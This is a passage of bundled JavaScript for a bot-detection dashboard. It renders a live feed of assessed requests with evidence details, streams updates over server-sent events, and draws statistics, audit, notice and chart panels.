[\\\"proven\\\", \\\"Proven\\\"],\\n [\\\"suspected\\\", \\\"Suspected\\\"],\\n [\\\"human\\\", \\\"Human\\\"],\\n [\\\"guard\\\", \\\"Guard stops\\\"],\\n [\\\"deny\\\", \\\"Denied\\\"],\\n [\\\"mitigate\\\", \\\"Mitigated\\\"],\\n [\\\"allow\\\", \\\"Served\\\"]\\n ];\\n var rendered = /* @__PURE__ */ new Map();\\n function initFeed() {\\n const filters = $(\\\"filters\\\");\\n for (const [name, label2] of FILTERS) {\\n const button = el(\\\"button\\\", null, label2);\\n button.setAttribute(\\\"aria-pressed\\\", String(name === state.filter));\\n button.dataset[\\\"filter\\\"] = name;\\n button.addEventListener(\\\"click\\\", () => {\\n state.filter = name;\\n for (const other of Array.from(filters.children)) other.setAttribute(\\\"aria-pressed\\\", \\\"false\\\");\\n button.setAttribute(\\\"aria-pressed\\\", \\\"true\\\");\\n app.syncUrl();\\n app.drawNow();\\n });\\n filters.appendChild(button);\\n }\\n const search = byId(\\\"search\\\");\\n search.addEventListener(\\\"input\\\", () => {\\n setSearch(search.value.trim());\\n app.syncUrl();\\n app.drawNow();\\n });\\n const exportShown = byId(\\\"feed-export\\\");\\n exportShown.hidden = !SECTIONS.evidence;\\n exportShown.addEventListener(\\\"click\\\", () => {\\n const rows = visibleRows(Number.POSITIVE_INFINITY);\\n if (rows.length === 0) {\\n toast(\\\"warn\\\", \\\"Nothing to export\\\", \\\"No request in the window matches this filter.\\\");\\n return;\\n }\\n const entries = rows.map((row) => row.entry).reverse();\\n download(`${replayFile(entries)}\\n`, `bothandler-feed-${today()}.jsonl`, \\\"application/x-ndjson\\\");\\n toast(\\\"ok\\\", `Exported ${n(entries.length)} request(s)`, \\\"Replay them with `bothandlerjs replay`.\\\");\\n });\\n }\\n function reflectFilterButtons() {\\n for (const button of Array.from($(\\\"filters\\\").children)) {\\n button.setAttribute(\\\"aria-pressed\\\", String(button instanceof HTMLElement && button.dataset[\\\"filter\\\"] === state.filter));\\n }\\n const search = byId(\\\"search\\\");\\n if (search.value !== state.search) search.value = state.search;\\n }\\n function drawFeed() {\\n const body = byId(\\\"rows\\\");\\n const shown = visibleRows();\\n let index = 0;\\n const place = (node) => {\\n const current = body.childNodes[index] ?? null;\\n if (current !== node) body.insertBefore(node, current);\\n index++;\\n };\\n for (const row of shown) {\\n const id = row.entry.requestId;\\n const open = state.open.has(id);\\n let cached = rendered.get(id);\\n if (cached === void 0 || cached.rev !== row.rev || cached.open !== open) {\\n cached = {\\n row: buildRow(row.entry, open),\\n detail: open ? buildDetail(row.entry) : void 0,\\n rev: row.rev,\\n open\\n };\\n rendered.set(id, cached);\\n }\\n place(cached.row);\\n if (cached.detail !== void 0) place(cached.detail);\\n }\\n while (body.childNodes.length > index) body.removeChild(body.childNodes[index]);\\n if (rendered.size > shown.length * 2 + 100) {\\n const live = new Set(shown.map((row) => row.entry.requestId));\\n for (const id of Array.from(rendered.keys())) if (!live.has(id)) rendered.delete(id);\\n }\\n const total = state.rows.length;\\n const matching = matchingCount();\\n $(\\\"empty\\\").hidden = total > 0;\\n $(\\\"feed-count\\\").textContent = matching === total ? `${n(total)} in this window` : `${n(matching)} of ${n(total)}${matching > FEED_LIMIT ? ` · showing ${n(FEED_LIMIT)}` : \\\"\\\"}`;\\n const skipped = (state.snapshot?.skipped ?? 0) + state.laggedDrops;\\n const note = $(\\\"feed-skipped\\\");\\n note.hidden = skipped === 0;\\n note.textContent = `${n(skipped)} not streamed`;\\n note.title = state.laggedDrops > 0 ? `${n(state.laggedDrops)} were skipped because this connection could not keep up, and the rest by the rate cap. All of them are still in the window, the preview and the export.` : \\\"Entries the rate cap kept off this stream. They are still in the window, the preview and the export — raise maxEventsPerSecond to see them live.\\\";\\n }\\n function resetFeedCache() {\\n rendered.clear();\\n }\\n function buildRow(entry, open) {\\n const out = outcome(entry);\\n const tr = el(\\\"tr\\\", `row a-${entry.downgradedFrom !== void 0 ? \\\"guard\\\" : out}${open ? \\\" open\\\" : \\\"\\\"}`);\\n tr.appendChild(el(\\\"td\\\", \\\"num mono tnum when\\\", clockTime(entry.at)));\\n const request = el(\\\"td\\\", \\\"edge req\\\");\\n const toggle = el(\\\"button\\\", \\\"row-toggle\\\", `${entry.method} ${entry.path}`);\\n toggle.type = \\\"button\\\";\\n toggle.setAttribute(\\\"aria-expanded\\\", String(open));\\n toggle.setAttribute(\\\"aria-label\\\", `${entry.method} ${entry.path}, ${entry.verdict}. Evidence.`);\\n toggle.dataset[\\\"request\\\"] = entry.requestId;\\n request.appendChild(toggle);\\n const ua = el(\\\"span\\\", \\\"ua\\\");\\n if (SECTIONS.actors) {\\n const actorLink = el(\\\"a\\\", null, entry.actor);\\n actorLink.href = \\\"#actor\\\";\\n actorLink.title = \\\"Show everything from this actor\\\";\\n actorLink.addEventListener(\\\"click\\\", (event) => {\\n event.preventDefault();\\n event.stopPropagation();\\n openActor(entry.actor);\\n });\\n ua.appendChild(actorLink);\\n ua.appendChild(document.createTextNode(` · ${entry.userAgent}`));\\n } else {\\n ua.appendChild(document.createTextNode(`${entry.actor} · ${entry.userAgent}`));\\n }\\n ua.title = `${entry.actor} · ${entry.userAgent}`;\\n request.appendChild(ua);\\n tr.appendChild(request);\\n const verdictCell = el(\\\"td\\\");\\n const [badgeClass, badgeLabel] = verdictBadge(entry);\\n verdictCell.appendChild(el(\\\"span\\\", `badge ${badgeClass}`, badgeLabel));\\n if (entry.identity !== void 0) verdictCell.appendChild(el(\\\"span\\\", \\\"sub\\\", entry.identity));\\n tr.appendChild(verdictCell);\\n tr.appendChild(el(\\\"td\\\", \\\"num mono tnum\\\", entry.certain ? \\\"proven\\\" : String(entry.score)));\\n const actionCell = el(\\\"td\\\");\\n if (entry.action !== void 0) {\\n const kind = out === \\\"deny\\\" ? \\\"act-deny\\\" : out === \\\"mitigate\\\" ? \\\"act-mitigate\\\" : out === \\\"allow\\\" ? \\\"act-allow\\\" : \\\"act-tag\\\";\\n actionCell.appendChild(el(\\\"span\\\", `act ${kind}`, entry.action));\\n if (entry.rule !== void 0) {\\n const ruleLabel = el(\\\"span\\\", \\\"sub\\\", entry.rule);\\n ruleLabel.title = entry.rule;\\n actionCell.appendChild(ruleLabel);\\n }\\n if (entry.downgradedFrom !== void 0) actionCell.appendChild(el(\\\"span\\\", \\\"guard\\\", `guard stopped ${entry.downgradedFrom}`));\\n } else {\\n actionCell.appendChild(el(\\\"span\\\", \\\"sub\\\", \\\"assessed only\\\"));\\n }\\n tr.appendChild(actionCell);\\n tr.appendChild(el(\\\"td\\\", \\\"num mono tnum\\\", entry.durationMs.toFixed(2)));\\n tr.dataset[\\\"request\\\"] = entry.requestId;\\n const flip = () => {\\n if (state.open.has(entry.requestId)) state.open.delete(entry.requestId);\\n else state.open.add(entry.requestId);\\n app.drawNow();\\n document.querySelector(`button.row-toggle[data-request=\\\"${cssEscape(entry.requestId)}\\\"]`)?.focus();\\n };\\n toggle.addEventListener(\\\"click\\\", (event) => {\\n event.stopPropagation();\\n flip();\\n });\\n tr.addEventListener(\\\"click\\\", flip);\\n return tr;\\n }\\n function buildDetail(entry) {\\n const tr = el(\\\"tr\\\", \\\"detail\\\");\\n const cell = el(\\\"td\\\");\\n cell.colSpan = 6;\\n if (!SECTIONS.evidence) {\\n cell.appendChild(\\n el(\\n \\\"div\\\",\\n \\\"ev-meta\\\",\\n \\\"The evidence section is switched off on this dashboard, so the reasons behind this verdict are not sent to it. What fired, and why, is on a dashboard that has `sections: { evidence: true }`.\\\"\\n )\\n );\\n } else if (entry.evidence.length === 0) {\\n cell.appendChild(\\n el(\\n \\\"div\\\",\\n \\\"ev-meta\\\",\\n entry.bypass !== void 0 ? `Detection was skipped for this request: ${entry.bypass}.` : \\\"No detector produced any evidence. This is what ordinary traffic looks like.\\\"\\n )\\n );\\n } else {\\n const list = el(\\\"div\\\", \\\"ev\\\");\\n for (const item of entry.evidence) {\\n const row = el(\\\"div\\\", `ev-item${item.direction === \\\"human\\\" ? \\\" human\\\" : \\\"\\\"}`);\\n row.appendChild(el(\\\"div\\\", `tier t-${item.certainty}`, item.certainty));\\n const body = el(\\\"div\\\");\\n body.appendChild(el(\\\"div\\\", null, item.summary));\\n let meta = `${item.detector} · points to ${item.direction}`;\\n if (item.family !== void 0) meta += ` · family “${item.family}”, counted once with its siblings`;\\n body.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", meta));\\n if (item.deterministicBasis !== void 0) body.appendChild(el(\\\"div\\\", \\\"basis\\\", item.deterministicBasis));\\n row.appendChild(body);\\n list.appendChild(row);\\n }\\n cell.appendChild(list);\\n }\\n for (const failure of entry.failures) {\\n cell.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", `Detector ${failure.detector} ${failure.reason}: ${failure.message}`));\\n }\\n if (entry.downgradeReason !== void 0) cell.appendChild(el(\\\"div\\\", \\\"basis\\\", `Guard: ${entry.downgradeReason}`));\\n const queryNames = Object.keys(entry.query);\\n if (queryNames.length > 0) {\\n const queryTable = el(\\\"table\\\", \\\"hdr\\\");\\n for (const name of queryNames) {\\n const value = entry.query[name] ?? \\\"\\\";\\n const row = el(\\\"tr\\\");\\n row.appendChild(el(\\\"td\\\", \\\"n\\\", `?${name}`));\\n row.appendChild(el(\\\"td\\\", `v${value === \\\"[redacted]\\\" ? \\\" red\\\" : \\\"\\\"}`, value));\\n queryTable.appendChild(row);\\n }\\n cell.appendChild(queryTable);\\n }\\n if (entry.headers !== void 0 && entry.headers.length > 0) {\\n const table = el(\\\"table\\\", \\\"hdr\\\");\\n for (const [name, value] of entry.headers) {\\n const row = el(\\\"tr\\\");\\n row.appendChild(el(\\\"td\\\", \\\"n\\\", `${name}:`));\\n row.appendChild(el(\\\"td\\\", `v${value === \\\"[redacted]\\\" ? \\\" red\\\" : \\\"\\\"}`, value));\\n table.appendChild(row);\\n }\\n cell.appendChild(table);\\n }\\n const tools = el(\\\"div\\\", \\\"tools\\\");\\n if (SECTIONS.evidence) {\\n tools.appendChild(copyButton(\\\"Copy replay line\\\", () => replayLine(entry)));\\n tools.appendChild(downloadButton(\\\"Download replay line\\\", () => replayLine(entry), `request-${entry.requestId}.jsonl`));\\n tools.appendChild(copyButton(\\\"Copy corpus case\\\", () => corpusCase(entry)));\\n }\\n if (SECTIONS.policy) {\\n const draft2 = el(\\\"button\\\", null, \\\"Draft a rule\\\");\\n draft2.title = \\\"Start a rule from this request, in the policy editor\\\";\\n draft2.addEventListener(\\\"click\\\", (event) => {\\n event.stopPropagation();\\n void draftIntoEditor(entry);\\n });\\n tools.appendChild(draft2);\\n }\\n if (SECTIONS.actors) {\\n const actorButton = el(\\\"button\\\", null, \\\"Show this actor\\\");\\n actorButton.addEventListener(\\\"click\\\", (event) => {\\n event.stopPropagation();\\n openActor(entry.actor);\\n });\\n tools.appendChild(actorButton);\\n }\\n cell.appendChild(tools);\\n const foot = el(\\\"div\\\", \\\"detail-foot\\\");\\n foot.appendChild(el(\\\"span\\\", null, clockTime(entry.at)));\\n foot.appendChild(el(\\\"span\\\", null, `actor ${entry.actor}`));\\n if (entry.rule !== void 0) foot.appendChild(el(\\\"span\\\", null, `rule “${entry.rule}”`));\\n foot.appendChild(el(\\\"span\\\", null, `assessed in ${entry.durationMs.toFixed(3)}ms`));\\n foot.appendChild(el(\\\"span\\\", \\\"mono\\\", entry.requestId));\\n cell.appendChild(foot);\\n tr.appendChild(cell);\\n return tr;\\n }\\n function copyButton(label2, produce) {\\n const button = el(\\\"button\\\", null, label2);\\n button.addEventListener(\\\"click\\\", (event) => {\\n event.stopPropagation();\\n const text = produce();\\n const done = () => {\\n button.textContent = \\\"Copied\\\";\\n setTimeout(() => {\\n button.textContent = label2;\\n }, 1200);\\n };\\n if (navigator.clipboard?.writeText !== void 0) navigator.clipboard.writeText(text).then(done, () => showText(text));\\n else showText(text);\\n });\\n return button;\\n }\\n function downloadButton(label2, produce, filename) {\\n const button = el(\\\"button\\\", null, label2);\\n button.addEventListener(\\\"click\\\", (event) => {\\n event.stopPropagation();\\n download(`${produce()}\\n`, filename, \\\"application/x-ndjson\\\");\\n });\\n return button;\\n }\\n function showText(text) {\\n const box = el(\\\"pre\\\", \\\"code\\\", text);\\n const host = $(\\\"policy-result\\\");\\n host.hidden = false;\\n host.className = \\\"result\\\";\\n clear(host);\\n host.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", \\\"Copying needs a secure context; here is the text.\\\"));\\n host.appendChild(box);\\n const selection = getSelection();\\n if (selection !== null) {\\n const range = document.createRange();\\n range.selectNodeContents(box);\\n selection.removeAllRanges();\\n selection.addRange(range);\\n }\\n }\\n\\n // src/dashboard/client/stream.ts\\n function connectStream() {\\n if (!SECTIONS.feed) {\\n $(\\\"dot\\\").className = \\\"dot\\\";\\n $(\\\"conn\\\").textContent = \\\"feed off\\\";\\n return;\\n }\\n const source = new EventSource(`${API}/api/stream`);\\n source.addEventListener(\\\"open\\\", () => {\\n $(\\\"dot\\\").className = \\\"dot on\\\";\\n $(\\\"conn\\\").textContent = \\\"live\\\";\\n });\\n source.addEventListener(\\\"sync\\\", (event) => {\\n const detail = JSON.parse(event.data);\\n if (!detail.replace) return;\\n clearFeed();\\n resetFeedCache();\\n });\\n source.addEventListener(\\\"entry\\\", (event) => {\\n ingest(JSON.parse(event.data));\\n if (state.paused) {\\n state.bufferedWhilePaused++;\\n $(\\\"pause\\\").textContent = `Resume (${state.bufferedWhilePaused})`;\\n }\\n app.draw();\\n });\\n source.addEventListener(\\\"update\\\", (event) => {\\n ingest(JSON.parse(event.data));\\n app.draw();\\n });\\n source.addEventListener(\\\"reset\\\", () => {\\n clearFeed();\\n resetFeedCache();\\n app.draw();\\n });\\n source.addEventListener(\\\"lagged\\\", (event) => {\\n const detail = JSON.parse(event.data);\\n state.laggedDrops += detail.dropped;\\n app.draw();\\n });\\n source.addEventListener(\\\"stats\\\", (event) => {\\n state.snapshot = JSON.parse(event.data);\\n app.draw();\\n });\\n source.addEventListener(\\\"error\\\", () => {\\n $(\\\"dot\\\").className = \\\"dot off\\\";\\n $(\\\"conn\\\").textContent = \\\"reconnecting…\\\";\\n });\\n }\\n async function loadInitialSnapshot() {\\n try {\\n state.snapshot = await getJson(\\\"/api/stats\\\");\\n app.drawNow();\\n } catch {\\n }\\n }\\n\\n // src/dashboard/client/panels.ts\\n var paintedSnapshot;\\n function drawTiles(force = false) {\\n if (!SECTIONS.statistics) return;\\n const box = $(\\\"tiles\\\");\\n const snapshot = state.snapshot;\\n if (snapshot === void 0) return;\\n if (!force && paintedSnapshot === snapshot) return;\\n paintedSnapshot = snapshot;\\n const metrics = snapshot.metrics;\\n clear(box);\\n if (metrics === void 0) {\\n box.appendChild(el(\\\"div\\\", \\\"note\\\", \\\"Counters are switched off on this handler (metrics: false). The live feed still works.\\\"));\\n return;\\n }\\n const actions = metrics.actions;\\n const denied = actions.block + actions.drop + actions.redirect;\\n const mitigated = actions.challenge + actions[\\\"rate-limit\\\"] + actions.delay;\\n const served = actions.allow + actions.tag + actions.log;\\n const total = metrics.requests;\\n const unremarkable = metrics.verdicts.unknown + metrics.verdicts.human;\\n const tiles = [\\n [\\\"\\\", n(total), \\\"Requests\\\", \\\"since start\\\"],\\n [\\\"proven\\\", n(metrics.proven), \\\"Proven bots\\\", `${pct(metrics.proven, total)} of traffic`],\\n [\\\"warn\\\", n(metrics.verdicts[\\\"suspected-bot\\\"]), \\\"Suspected\\\", \\\"never denied on this alone\\\"],\\n [\\\"\\\", n(unremarkable), \\\"Unremarkable\\\", `${pct(unremarkable, total)} of traffic`],\\n [\\\"warn\\\", n(metrics.downgrades), \\\"Guard stops\\\", metrics.downgrades > 0 ? \\\"rules asking for more than the evidence\\\" : \\\"no rule overreached\\\"],\\n [\\\"crit\\\", n(denied), \\\"Denied\\\", `${pct(denied, total)} of traffic`],\\n [\\n \\\"\\\",\\n n(mitigated),\\n \\\"Mitigated\\\",\\n metrics.challenges.issued > 0 ? `${n(metrics.challenges.solved)} of ${n(metrics.challenges.issued)} challenges solved` : \\\"challenged, limited or delayed\\\"\\n ],\\n [\\\"good\\\", n(served), \\\"Served\\\", `${pct(served, total)} of traffic`],\\n [\\\"\\\", n(metrics.actorsTracked), \\\"Actors tracked\\\", \\\"in the registry now\\\"]\\n ];\\n for (const [kind, value, key, sub] of tiles) {\\n const tile = el(\\\"div\\\", `tile ${kind}`);\\n tile.appendChild(el(\\\"div\\\", \\\"v tnum\\\", value));\\n tile.appendChild(el(\\\"div\\\", \\\"k\\\", key));\\n tile.appendChild(el(\\\"div\\\", \\\"s\\\", sub));\\n box.appendChild(tile);\\n }\\n }\\n function drawChips() {\\n const snapshot = state.snapshot;\\n if (snapshot === void 0) return;\\n const box = $(\\\"chips\\\");\\n clear(box);\\n const facts = [\\n // Which process this is, first, because everything after it is a fact about this\\n // process and nothing else. Behind a load balancer there are as many of these\\n // dashboards as there are pods, each showing its own share of the traffic.\\n [\\\"instance\\\", snapshot.instance],\\n [\\\"guard\\\", snapshot.policy.falsePositivePolicy],\\n [\\\"suspect at\\\", String(snapshot.policy.suspectThreshold)]\\n ];\\n if (SECTIONS.statistics) facts.push([\\\"detectors\\\", String(snapshot.detectors.length)]);\\n if (SECTIONS.policy) facts.push([\\\"rules\\\", String(snapshot.rules.length)]);\\n facts.push([\\\"uptime\\\", uptime(snapshot.now - snapshot.startedAt)]);\\n for (const [label2, value] of facts) {\\n const fact = el(\\\"span\\\");\\n fact.appendChild(document.createTextNode(`${label2} `));\\n fact.appendChild(el(\\\"b\\\", null, value));\\n box.appendChild(fact);\\n }\\n }\\n function updateWindowLabels() {\\n const label2 = windowLabel(state.rows.length, oldestAt(), Date.now());\\n for (const node of Array.from(document.querySelectorAll(\\\".win\\\"))) node.textContent = label2;\\n }\\n function drawLivePanels() {\\n if (!SECTIONS.statistics) return;\\n const totals = aggregate(state.rows);\\n drawBars($(\\\"live-detectors\\\"), totals.detectors, \\\"Nothing has fired in this window.\\\");\\n if (SECTIONS.actors) drawBars($(\\\"live-actors\\\"), totals.actors, \\\"No traffic in this window.\\\");\\n }\\n function drawStatsPanels() {\\n const snapshot = state.snapshot;\\n if (snapshot === void 0) return;\\n const metrics = snapshot.metrics;\\n if (metrics !== void 0) {\\n drawBars($(\\\"stat-verdicts\\\"), pairs(metrics.verdicts), \\\"Nothing assessed yet.\\\");\\n drawBars($(\\\"stat-actions\\\"), pairs(metrics.actions), \\\"No decisions yet.\\\");\\n drawBars($(\\\"stat-classes\\\"), pairs(metrics.botClasses), \\\"Nothing classified yet.\\\");\\n drawBars($(\\\"stat-detectors\\\"), pairs(metrics.detectorFirings), \\\"No detector has produced evidence yet.\\\");\\n const challenges = $(\\\"stat-challenges\\\");\\n clear(challenges);\\n if (!snapshot.policy.challengeEnabled) {\\n challenges.appendChild(el(\\\"div\\\", \\\"note\\\", \\\"No challenge is configured, so a rule asking for one degrades to a tag. Set challenge.secrets to enable it.\\\"));\\n } else {\\n const funnel = [\\n [\\\"Issued\\\", n(metrics.challenges.issued)],\\n [\\\"Solved\\\", n(metrics.challenges.solved)],\\n [\\\"Rejected\\\", n(metrics.challenges.rejected)],\\n [\\\"Solve rate\\\", metrics.challenges.issued > 0 ? pct(metrics.challenges.solved, metrics.challenges.issued) : \\\"—\\\"]\\n ];\\n for (const [key, value] of funnel) challenges.appendChild(statRow(key, value));\\n }\\n const health = $(\\\"stat-health\\\");\\n clear(health);\\n const bypassed = metrics.bypassed.allowlist + metrics.bypassed[\\\"ignored-path\\\"];\\n const rows = [\\n [\\\"Requests assessed\\\", n(metrics.requests)],\\n [\\\"Bypassed — allowlist\\\", n(metrics.bypassed.allowlist)],\\n [\\\"Bypassed — ignored path\\\", n(metrics.bypassed[\\\"ignored-path\\\"])],\\n [\\\"Detection ran on\\\", pct(metrics.requests - bypassed, metrics.requests)],\\n [\\\"Actors tracked\\\", n(metrics.actorsTracked)],\\n [\\\"Guard stops\\\", n(metrics.downgrades)]\\n ];\\n const failures = pairs(metrics.detectorFailures);\\n for (const [detector, count] of failures) rows.push([`Detector failures — ${detector}`, n(count)]);\\n for (const [key, value] of rows) health.appendChild(statRow(key, value));\\n if (failures.length === 0) health.appendChild(el(\\\"div\\\", \\\"note\\\", \\\"No detector has thrown or timed out.\\\"));\\n }\\n const totals = aggregate(state.rows);\\n if (SECTIONS.actors) drawBars($(\\\"stat-identities\\\"), totals.identities, \\\"No client has named itself in this window.\\\");\\n drawBars($(\\\"stat-paths\\\"), totals.paths, \\\"No traffic in this window.\\\");\\n drawBars($(\\\"stat-denied-paths\\\"), totals.deniedPaths, \\\"Nothing has been denied in this window.\\\");\\n drawBars($(\\\"stat-guard\\\"), totals.guardStops, \\\"No rule has asked for more than its evidence supports.\\\");\\n drawBars($(\\\"stat-bypassed\\\"), totals.bypassed, \\\"Nothing bypassed detection.\\\");\\n drawRuleHits(totals);\\n const list = $(\\\"stat-detector-list\\\");\\n clear(list);\\n $(\\\"detector-count\\\").textContent = `${snapshot.detectors.length} installed`;\\n for (const detector of snapshot.detectors) {\\n const row = el(\\\"div\\\", \\\"det\\\");\\n const left = el(\\\"div\\\");\\n left.appendChild(el(\\\"div\\\", \\\"mono\\\", detector.id));\\n left.appendChild(el(\\\"div\\\", \\\"d\\\", detector.description));\\n row.appendChild(left);\\n const fires = metrics?.detectorFirings[detector.id] ?? 0;\\n const timing = metrics?.detectorTimings[detector.id];\\n let right = `${n(fires)} · ${detector.cost} · ${detector.stage}`;\\n if (timing !== void 0 && timing.count > 0) right += ` · ${ms(timing.totalMs / timing.count)} avg`;\\n row.appendChild(el(\\\"div\\\", \\\"n\\\", right));\\n list.appendChild(row);\\n }\\n }\\n function statRow(key, value) {\\n const line = el(\\\"div\\\", \\\"stat-row\\\");\\n line.appendChild(el(\\\"span\\\", \\\"k\\\", key));\\n line.appendChild(el(\\\"span\\\", \\\"v\\\", value));\\n return line;\\n }\\n function drawRuleHits(totals) {\\n const target = $(\\\"stat-rule-hits\\\");\\n clear(target);\\n const rules = state.snapshot?.rules ?? [];\\n if (rules.length === 0) {\\n target.appendChild(el(\\\"div\\\", \\\"note\\\", \\\"No rules configured.\\\"));\\n return;\\n }\\n let max = 1;\\n for (const rule of rules) max = Math.max(max, totals.ruleHits.get(rule) ?? 0);\\n for (const rule of rules) {\\n const value = totals.ruleHits.get(rule) ?? 0;\\n const bar = el(\\\"div\\\", `bar${value === 0 ? \\\" dead\\\" : \\\"\\\"}`);\\n const track = el(\\\"div\\\", \\\"track\\\");\\n if (value > 0) {\\n const fill = el(\\\"div\\\", \\\"fill\\\");\\n fill.style.width = `${Math.max(2, Math.round(value / max * 100))}%`;\\n track.appendChild(fill);\\n }\\n track.appendChild(el(\\\"div\\\", \\\"lbl\\\", rule));\\n bar.appendChild(track);\\n bar.appendChild(el(\\\"div\\\", \\\"v tnum\\\", value === 0 ? \\\"never\\\" : n(value)));\\n target.appendChild(bar);\\n }\\n }\\n function drawAudit() {\\n const snapshot = state.snapshot;\\n if (snapshot === void 0) return;\\n const body = $(\\\"audit-body\\\");\\n const checks = $(\\\"audit-checks\\\");\\n clear(body);\\n clear(checks);\\n const audit = snapshot.audit;\\n if (audit === void 0) {\\n $(\\\"audit-spans\\\").textContent = \\\"\\\";\\n body.appendChild(\\n el(\\n \\\"div\\\",\\n \\\"note\\\",\\n \\\"The traffic audit is switched off on this handler (audit: false). It watches the shape of your traffic rather than any one request — a spike in automation, a collapse in human traffic, a policy suddenly denying far more than usual.\\\"\\n )\\n );\\n return;\\n }\\n const current = audit.window;\\n const baseline = audit.baseline;\\n $(\\\"audit-spans\\\").textContent = `last ${rangeLabel(current.spanMs)} against the ${rangeLabel(baseline.spanMs)} before`;\\n const rows = [\\n [\\\"Requests\\\", n(current.requests), n(baseline.requests)],\\n [\\\"Rate\\\", `${current.rate.toFixed(1)}/min`, `${baseline.rate.toFixed(1)}/min`],\\n [\\\"Bot share\\\", `${Math.round(current.botShare * 100)}%`, `${Math.round(baseline.botShare * 100)}%`],\\n [\\\"Bots\\\", n(current.bots), n(baseline.bots)],\\n [\\\"Humans\\\", n(current.humans), n(baseline.humans)],\\n [\\\"Denials\\\", n(current.denials), n(baseline.denials)],\\n [\\\"Challenges\\\", n(current.challenges), n(baseline.challenges)],\\n [\\\"Guard stops\\\", n(current.downgrades), n(baseline.downgrades)],\\n [\\\"Detector failures\\\", n(current.failures), n(baseline.failures)],\\n [\\\"Bypassed\\\", n(current.bypassed), n(baseline.bypassed)]\\n ];\\n for (const [key, now, was] of rows) {\\n const line = el(\\\"div\\\", \\\"stat-row\\\");\\n line.appendChild(el(\\\"span\\\", \\\"k\\\", key));\\n const values = el(\\\"span\\\", \\\"v\\\");\\n values.appendChild(el(\\\"b\\\", null, now));\\n values.appendChild(el(\\\"span\\\", \\\"was\\\", ` was ${was}`));\\n line.appendChild(values);\\n body.appendChild(line);\\n }\\n if (audit.checks.length === 0) {\\n checks.appendChild(el(\\\"div\\\", \\\"note\\\", \\\"No checks are installed, so nothing here will ever raise an anomaly.\\\"));\\n return;\\n }\\n for (const check of audit.checks) {\\n const row = el(\\\"div\\\", \\\"det\\\");\\n const left = el(\\\"div\\\");\\n left.appendChild(el(\\\"div\\\", \\\"mono\\\", check.id));\\n left.appendChild(el(\\\"div\\\", \\\"d\\\", check.description));\\n row.appendChild(left);\\n checks.appendChild(row);\\n }\\n }\\n function drawNoticeBadge() {\\n const notices = state.snapshot?.notices ?? [];\\n const badge = $(\\\"notice-badge\\\");\\n badge.hidden = notices.length === 0 || !SECTIONS.notices;\\n badge.textContent = String(notices.length);\\n }\\n function drawNotices() {\\n const box = $(\\\"stat-notices\\\");\\n const notices = state.snapshot?.notices ?? [];\\n clear(box);\\n $(\\\"notice-count\\\").textContent = notices.length > 0 ? `${notices.length} total` : \\\"\\\";\\n if (notices.length === 0) {\\n box.appendChild(el(\\\"div\\\", \\\"note\\\", \\\"Nothing to report: no startup warnings, no detector errors.\\\"));\\n return;\\n }\\n for (const notice of notices.slice().reverse().slice(0, 40)) {\\n const row = el(\\\"div\\\", `notice ${notice.kind}`);\\n const when = el(\\\"div\\\", \\\"when\\\");\\n when.appendChild(el(\\\"div\\\", \\\"tag\\\", notice.kind));\\n when.appendChild(el(\\\"div\\\", null, clockTime(notice.at)));\\n row.appendChild(when);\\n const body = el(\\\"div\\\");\\n body.appendChild(el(\\\"div\\\", null, notice.message));\\n if (notice.source !== void 0) body.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", notice.source));\\n row.appendChild(body);\\n box.appendChild(row);\\n }\\n }\\n function drawChanges() {\\n if (!SECTIONS.changes) return;\\n const box = $(\\\"stat-changes\\\");\\n const changes = state.snapshot?.changes ?? [];\\n clear(box);\\n $(\\\"change-count\\\").textContent = changes.length > 0 ? `${changes.length} this run` : \\\"\\\";\\n if (changes.length === 0) {\\n box.appendChild(el(\\\"div\\\", \\\"note\\\", \\\"Nothing has been changed at runtime. Rules, guard and ranges are as the code that built this handler left them.\\\"));\\n return;\\n }\\n for (const change of changes.slice().reverse()) {\\n const row = el(\\\"div\\\", \\\"notice\\\");\\n const when = el(\\\"div\\\", \\\"when\\\");\\n when.appendChild(el(\\\"div\\\", \\\"tag\\\", change.kind));\\n when.appendChild(el(\\\"div\\\", null, clockTime(change.at)));\\n row.appendChild(when);\\n const body = el(\\\"div\\\");\\n body.appendChild(el(\\\"div\\\", null, change.summary));\\n body.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", change.by === void 0 || change.by === \\\"\\\" ? \\\"by an unnamed viewer — this listener's auth carries no identity\\\" : `by ${change.by}`));\\n row.appendChild(body);\\n box.appendChild(row);\\n }\\n }\\n function drawPeers() {\\n const box = $(\\\"peers\\\");\\n if (BOOT.peers.length === 0) {\\n box.hidden = true;\\n return;\\n }\\n if (box.childElementCount > 0) return;\\n box.appendChild(el(\\\"span\\\", \\\"hint\\\", \\\"also:\\\"));\\n for (const peer of BOOT.peers) {\\n const link = el(\\\"a\\\", \\\"linkbtn\\\", peer.label);\\n link.href = peer.href;\\n link.rel = \\\"noreferrer noopener\\\";\\n box.appendChild(link);\\n }\\n }\\n\\n // src/dashboard/client/charts.ts\\n var BUCKETS = 60;\\n var LATENCY_BOUNDS = [0.05, 0.1, 0.25, 0.5, 1, 2.5, 5, 10, 25, 50, 100];\\n var SCORE_BOUNDS = 10;\\n function positionTip(tip, host, clientX, boxLeft) {\\n tip.style.opacity = \\\"1\\\";\\n tip.style.left = `${Math.min(host.clientWidth - 150, Math.max(4, clientX - boxLeft - 60))}px`;\\n tip.style.top = \\\"14px\\\";\\n }\\n function tipRow(label2, value, colour) {\\n const line = el(\\\"div\\\", \\\"r\\\");\\n const left = el(\\\"em\\\");\\n if (colour !== void 0) {\\n const swatch = el(\\\"span\\\", \\\"swatch\\\");\\n swatch.style.background = colour;\\n left.appendChild(swatch);\\n }\\n left.appendChild(document.createTextNode(label2));\\n line.appendChild(left);\\n line.appendChild(el(\\\"b\\\", null, value));\\n return line;\\n }\\n function timeline() {\\n const bucketMs = state.rangeMs / BUCKETS;\\n const now = Date.now();\\n const start2 = now - state.rangeMs;\\n const buckets = [];\\n for (let i = 0; i < BUCKETS; i++) buckets.push({ at: start2 + i * bucketMs, served: 0, mitigated: 0, denied: 0, total: 0 });\\n for (const { entry } of state.rows) {\\n const index = Math.floor((entry.at - start2) / bucketMs);\\n if (index < 0 || index >= BUCKETS) continue;\\n const bucket = buckets[index];\\n if (bucket === void 0) continue;\\n bucket.total++;\\n const out = outcome(entry);\\n if (out === \\\"deny\\\") bucket.denied++;\\n else if (out === \\\"mitigate\\\") bucket.mitigated++;\\n else bucket.served++;\\n }\\n return buckets;\\n }\\n function 